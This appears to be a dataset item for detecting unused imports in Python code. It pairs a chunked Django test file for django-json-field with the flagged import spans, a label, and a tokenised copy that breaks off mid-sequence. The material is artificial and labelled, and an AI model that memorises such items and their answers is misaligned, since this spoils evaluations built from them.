2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
derek-schaefer/django-json-field/test_project/app/tests.py
[ { "content": "from __future__ import unicode_literals, division\n\nimport inspect\n\nfrom json_field.fields import JSON_DECODE_ERROR\n\nfrom test_project.app.models import Test\nfrom test_project.app.forms import TestForm, OptionalForm, \\\n EvalForm, ModelForm\n\nfrom django.test import TestCase\nfrom django.db.utils import IntegrityError\nimport json\n\nimport datetime\nfrom decimal import Decimal\n\ntry:\n from django.utils import unittest\nexcept ImportError:\n import unittest\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class JSONFieldTest(TestCase):\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.JSONFieldTest", "header": "['module', '___EOS___']", "index": 22 }, { "content": " def test_simple(self):\n t1 = Test.objects.create(json=123)\n self.assertEqual(123, Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json='123')\n self.assertEqual(123, Test.objects.get(pk=t2.pk).json)\n t3 = Test.objects.create(json=[123])\n self.assertEqual([123], Test.objects.get(pk=t3.pk).json)\n t4 = Test.objects.create(json='[123]')\n self.assertEqual([123], Test.objects.get(pk=t4.pk).json)\n t5 = Test.objects.create(json={'test':[1,2,3]})\n self.assertEqual({'test':[1,2,3]}, Test.objects.get(pk=t5.pk).json)\n t6 = Test.objects.create(json='{\"test\":[1,2,3]}')\n self.assertEqual({'test':[1,2,3]}, Test.objects.get(pk=t6.pk).json)\n t7 = Test.objects.create(json=[1,2,3])\n t7.json = {'asdf':123}\n self.assertEqual({'asdf':123}, t7.json)\n t8 = Test.objects.get(pk=t7.pk)\n t8.json = {'asdf':123}\n self.assertEqual({'asdf':123}, t8.json)", "metadata": "root.JSONFieldTest.test_simple", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 24 }, { "content": " def test_eager(self):\n t1 = Test.objects.create(json_eager=123)\n self.assertEqual(123, Test.objects.get(pk=t1.pk).json_eager)\n t2 = Test.objects.create(json_eager='123')\n self.assertEqual(123, Test.objects.get(pk=t2.pk).json_eager)\n t3 = Test.objects.create(json_eager=[123])\n self.assertEqual([123], Test.objects.get(pk=t3.pk).json_eager)\n t4 = Test.objects.create(json_eager='[123]')\n self.assertEqual([123], Test.objects.get(pk=t4.pk).json_eager)\n t5 = Test.objects.create(json_eager={'test':[1,2,3]})\n self.assertEqual({'test':[1,2,3]}, Test.objects.get(pk=t5.pk).json_eager)\n t6 = Test.objects.create(json_eager='{\"test\":[1,2,3]}')\n self.assertEqual({'test':[1,2,3]}, Test.objects.get(pk=t6.pk).json_eager)\n t7 = Test.objects.create(json_eager=[1,2,3])\n t7.json_eager = {'asdf':123}\n self.assertEqual({'asdf':123}, t7.json_eager)\n t8 = Test.objects.get(pk=t7.pk)\n t8.json_eager = {'asdf':123}\n self.assertEqual({'asdf':123}, t8.json_eager)", "metadata": "root.JSONFieldTest.test_eager", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 44 }, { "content": " def test_null(self):\n t1 = Test.objects.create(json=None)\n self.assertEqual(None, t1.json)\n self.assertEqual('null', t1.get_json_json())\n t2 = Test.objects.create(json='')\n self.assertEqual('', t2.json)\n self.assertEqual('\"\"', t2.get_json_json())\n t3 = Test.objects.create(json_null=None)\n self.assertEqual(None, t3.json_null)\n self.assertEqual('null', t3.get_json_null_json())\n t4 = Test.objects.create(json_null='')\n self.assertEqual('', t4.json_null)\n self.assertEqual('\"\"', t4.get_json_null_json())", "metadata": "root.JSONFieldTest.test_null", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 64 }, { "content": " def test_decimal(self):\n t1 = Test.objects.create(json=1.24)\n self.assertEqual(Decimal('1.24'), Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json=Decimal(1.24))\n self.assertEqual(str(Decimal(1.24)), Test.objects.get(pk=t2.pk).json)\n t3 = Test.objects.create(json={'test':[{'test':Decimal(1.24)}]})\n self.assertEqual({'test':[{'test':str(Decimal(1.24))}]}, Test.objects.get(pk=t3.pk).json)", "metadata": "root.JSONFieldTest.test_decimal", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 78 }, { "content": " def test_time(self):\n now = datetime.datetime.now().time()\n t1 = Test.objects.create(json=now)\n # JSON does not have microsecond precision, round to millisecond\n now_rounded = now.replace(microsecond=(int(now.microsecond) // 1000) * 1000)\n self.assertEqual(now_rounded, Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json={'time':[now]})\n self.assertEqual({'time':[now_rounded]}, Test.objects.get(pk=t2.pk).json)", "metadata": "root.JSONFieldTest.test_time", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 86 }, { "content": " def test_date(self):\n today = datetime.date.today()\n t1 = Test.objects.create(json=today)\n self.assertEqual(today, Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json={'today':today})\n self.assertEqual({'today':today}, Test.objects.get(pk=t2.pk).json)", "metadata": "root.JSONFieldTest.test_date", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 95 }, { "content": " def test_datetime(self):\n now = datetime.datetime.now()\n t1 = Test.objects.create(json=now)\n # JSON does not have microsecond precision, round to millisecond\n now_rounded = now.replace(microsecond=(int(now.microsecond) // 1000) * 1000)\n self.assertEqual(now_rounded, Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json={'test':[{'test':now}]})\n self.assertEqual({'test':[{'test':now_rounded}]}, Test.objects.get(pk=t2.pk).json)", "metadata": "root.JSONFieldTest.test_datetime", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 102 }, { "content": " def test_numerical_strings(self):\n t1 = Test.objects.create(json='\"555\"')\n self.assertEqual('555', Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json='\"123.98712634789162349781264\"')\n self.assertEqual('123.98712634789162349781264', Test.objects.get(pk=t2.pk).json)", "metadata": "root.JSONFieldTest.test_numerical_strings", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 111 }, { "content": " def test_datelike_strings(self):\n t1 = Test.objects.create(json='{\"title\": \"2014-01-27 | Title with date\"}')\n self.assertEqual({'title': '2014-01-27 | Title with date'}, Test.objects.get(pk=t1.pk).json)\n t2 = Test.objects.create(json='{\"title\": \"10:42:07 | Title with date\"}')\n self.assertEqual({'title': '10:42:07 | Title with date'}, Test.objects.get(pk=t2.pk).json)\n t3 = Test.objects.create(json='{\"title\": \"10:42:07.123 | Title with date\"}')\n self.assertEqual({'title': '10:42:07.123 | Title with date'}, Test.objects.get(pk=t3.pk).json)\n t4 = Test.objects.create(json='{\"title\": \"2014-05-07T12:34:56 | Title with date\"}')\n self.assertEqual({'title': '2014-05-07T12:34:56 | Title with date'}, Test.objects.get(pk=t4.pk).json)", "metadata": "root.JSONFieldTest.test_datelike_strings", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 117 }, { "content": " def test_get_set_json(self):\n t1 = Test.objects.create(json={'test':123})\n self.assertEqual({'test':123}, t1.json)\n self.assertEqual('{\"test\": 123}', t1.get_json_json())\n t2 = Test.objects.create(json='')\n self.assertEqual('', t2.json)\n self.assertEqual('\"\"', t2.get_json_json())\n self.assertEqual(None, t2.json_null)\n self.assertEqual('null', t2.get_json_null_json())\n t3 = Test.objects.create(json=[1,2,3])\n self.assertEqual([1,2,3], t3.json)\n self.assertEqual('[1, 2, 3]', t3.get_json_json())\n t3.set_json_json('[1, 2, 3, 4, 5]')\n self.assertEqual([1, 2, 3, 4, 5], t3.json)\n self.assertEqual('[1, 2, 3, 4, 5]', t3.get_json_json())\n t3.set_json_json(123)\n self.assertEqual(123, t3.json)\n self.assertEqual('123', t3.get_json_json())", "metadata": "root.JSONFieldTest.test_get_set_json", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 127 }, { "content": " def test_strings(self):\n t1 = Test.objects.create(json='a')\n self.assertEqual('a', t1.json)\n self.assertEqual('\"a\"', t1.get_json_json())\n t2 = Test.objects.create(json='\"a\"')\n self.assertEqual('a', t2.json)\n self.assertEqual('\"a\"', t2.get_json_json())\n t3 = Test.objects.create(json_null='a')\n self.assertEqual('a', t3.json_null)\n self.assertEqual('\"a\"', t3.get_json_null_json())\n t4 = Test.objects.create(json='\"a')\n self.assertEqual('\"a', t4.json)\n self.assertEqual('\"\\\\\"a\"', t4.get_json_json())", "metadata": "root.JSONFieldTest.test_strings", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 146 }, { "content": " def test_formfield(self):\n data = {'json': '{\"asdf\":42}'}\n f1 = TestForm(data)\n self.assertTrue(f1.is_valid())\n self.assertEqual(f1.cleaned_data, {'json': {'asdf':42}})\n f2 = TestForm({})\n self.assertFalse(f2.is_valid())\n f3 = OptionalForm({})\n self.assertTrue(f3.is_valid())\n self.assertEqual(f3.cleaned_data, {'json': None})\n f4 = TestForm({'json':'{\"time\": datetime.datetime.now()}'})\n self.assertFalse(f4.is_valid())\n f5 = EvalForm({'json':'{\"time\": datetime.datetime.now()}'})\n self.assertTrue(f5.is_valid())\n f6 = ModelForm({'json':'{\"time\": datetime.datetime.now()}'})\n self.assertFalse(f6.is_valid())\n f7 = ModelForm({'json':'{\"time\": datetime.datetime.now()}'})\n self.assertFalse(f7.is_valid())", "metadata": "root.JSONFieldTest.test_formfield", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 160 }, { "content": " def test_creator_plays_nice_with_module_inspect(self):\n \"\"\"\n From upstream, based on:\n https://code.djangoproject.com/ticket/12568\n and corresponding patch:\n https://code.djangoproject.com/changeset/50633e7353694ff54f14b04469be3792f286182f\n\n\n Custom fields should play nice with python standard module inspect.\n\n http://users.rcn.com/python/download/Descriptor.htm#properties\n \"\"\"\n # The custom Creator's non property like behaviour made the properties\n # invisible for inspection.\n data = dict(inspect.getmembers(Test))\n self.assertIn('json', data)", "metadata": "root.JSONFieldTest.test_creator_plays_nice_with_module_inspect", "header": "['class', 'JSONFieldTest', '(', 'TestCase', ')', ':', '___EOS___']", "index": 179 } ]
[ { "span": "from json_field.fields import JSON_DECODE_ERROR", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 47 }, { "span": "from django.db.utils import IntegrityError", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 42 }, { "span": "import json", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 11 }, { "span": "from django.utils import unittest", "start_line": 18, "start_column": 4, "end_line": 18, "end_column": 37 }, { "span": "import unittest", "start_line": 20, "start_column": 4, "end_line": 20, "end_column": 19 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", ",_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "inspect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "json", "\\u", "field_", "._", "fields_", "import_", "JSO", "N", "\\u", "DECO", "DE", "\\u", "ERROR_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "test\\u", "project_", "._", "app_", "._", "models_", "import_", "Test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "test\\u", "project_", "._", "app_", "._", "forms_", "import_", "Test", "Form_", ",_", "Optio", "nal", "Form_", ",_", "Eval", "Form_", ",_", "Model", "Form_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "test_", "import_", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "utils_", "import_", "Int", "egr", "it", "y", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "decimal_", "import_", "Decimal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "django_", "._", "utils_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "simple_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "123_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "123_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "123_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "[_", "123_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "123_", "]_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t3_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t4_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'[", "123", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "123_", "]_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t4_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t5", "_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t5", "_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t6", "_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'{", "\"", "test", "\":[", "1", ",", "2", ",", "3", "]}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t6", "_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "7_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "7_", "._", "json_", "=_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", ",_", "t", "7_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "8_", "=_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t", "7_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "8_", "._", "json_", "=_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", ",_", "t", "8_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eager_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "123_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "123_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "'", "123", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "123_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "[_", "123_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "123_", "]_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t3_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t4_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "'[", "123", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "123_", "]_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t4_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t5", "_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t5", "_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t6", "_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "'{", "\"", "test", "\":[", "1", ",", "2", ",", "3", "]}", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t6", "_", "._", "pk_", ")_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "7_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "eager_", "=_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "7_", "._", "json", "\\u", "eager_", "=_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", ",_", "t", "7_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "8_", "=_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t", "7_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t", "8_", "._", "json", "\\u", "eager_", "=_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "asd", "f", "'_", ":_", "123_", "}_", ",_", "t", "8_", "._", "json", "\\u", "eager_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "null_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "None_", ",_", "t1_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "null", "'_", ",_", "t1_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "''_", ",_", "t2_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"\"'_", ",_", "t2_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "null_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "None_", ",_", "t3_", "._", "json", "\\u", "null_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "null", "'_", ",_", "t3_", "._", "get", "\\u", "json", "\\u", "null", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t4_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "null_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "''_", ",_", "t4_", "._", "json", "\\u", "null_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"\"'_", ",_", "t4_", "._", "get", "\\u", "json", "\\u", "null", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "decimal_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "1.2", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "Decimal_", "(_", "'", "1.2", "4", "'_", ")_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "Decimal_", "(_", "1.2", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "Decimal_", "(_", "1.2", "4_", ")_", ")_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "test", "'_", ":_", "[_", "{_", "'", "test", "'_", ":_", "Decimal_", "(_", "1.2", "4_", ")_", "}_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "{_", "'", "test", "'_", ":_", "str_", "(_", "Decimal_", "(_", "1.2", "4_", ")_", ")_", "}_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t3_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "time_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "JSO", "N", " ", "doe", "s", " ", "not", " ", "have", " ", "microsecond", " ", "preci", "sion", ",", " ", "round", " ", "to", " ", "millis", "econd", "_", "\\u\\u\\uNL\\u\\u\\u_", "now", "\\u", "rounded", "_", "=_", "now_", "._", "replace_", "(_", "microsecond_", "=_", "(_", "int_", "(_", "now_", "._", "microsecond_", ")_", "//_", "1000_", ")_", "*_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "now", "\\u", "rounded", "_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "time", "'_", ":_", "[_", "now_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", 